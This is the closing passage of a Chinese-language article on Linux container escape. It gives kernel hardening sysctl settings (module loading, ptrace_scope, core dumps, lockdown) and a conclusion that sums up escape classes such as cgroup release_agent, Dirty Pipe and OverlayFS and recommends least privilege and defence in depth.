kernel.modules_disabled = 1 # 注意:设置后不可逆,需重启恢复# 限制 ptrace(阻断 CAP_SYS_PTRACE 进程注入)
kernel.yama.ptrace_scope = 3 # 仅允许 ptrace 自身或 root(0=全部/1=受限/2=仅admin/3=禁止)# 禁止核心转储 helper(缓解 core_pattern,治标)
# fs.suid_dumpable = 0 # SUID 程序不产生 core(默认已是 0)# 启用内核 lockdown(限制 root 滥用 /dev/mem 等)
# 需内核编译 CONFIG_LOCKDOWN_LSM
结语
容器逃逸的本质,是攻击者在"共享内核"这一前提下,寻找内核中那些不尊重命名空间边界的代码路径。本文梳理的六种技术,从 cgroup release_agent 的权限检查缺陷,到 Dirty Pipe 的页缓存绕过,再到 OverlayFS 的 copy-up 映射遗漏,每一处都是"内核设计时未考虑容器场景"的典型缩影。
值得注意的是,这些技术中真正属于"内核漏洞"(第三层)的只有 Dirty Pipe 与 OverlayFS 两项,其余四项本质上都是"内核合法机制被滥用"(第一层配置 + 第二层设计假设)。这提示我们:
- 配置即安全——绝大多数逃逸源于特权容器、危险挂载、过度 capabilities。遵循最小权限原则可消除 90% 的攻击面。
- 隔离边界是内核给的,不是天然的——只要内核某条路径不感知 NS,隔离就形同虚设。持续关注 CVE 与内核补丁是必修课。
- 纵深防御不可或缺——准入控制、seccomp、AppArmor、运行时检测、内核加固需层层叠加,任何单点都可能被绕过。
容器安全不是"装上就能用"的产品,而是一套贯穿开发、部署、运行、检测全生命周期的工程实践。理解逃逸原理,正是构建这套实践的前提。
参考来源:CVE-2022-0492 / CVE-2022-0847 / CVE-2023-0386 官方公告与补丁、Linux 内核源码、Falco/Elastic/Datadog 官方安全规则库。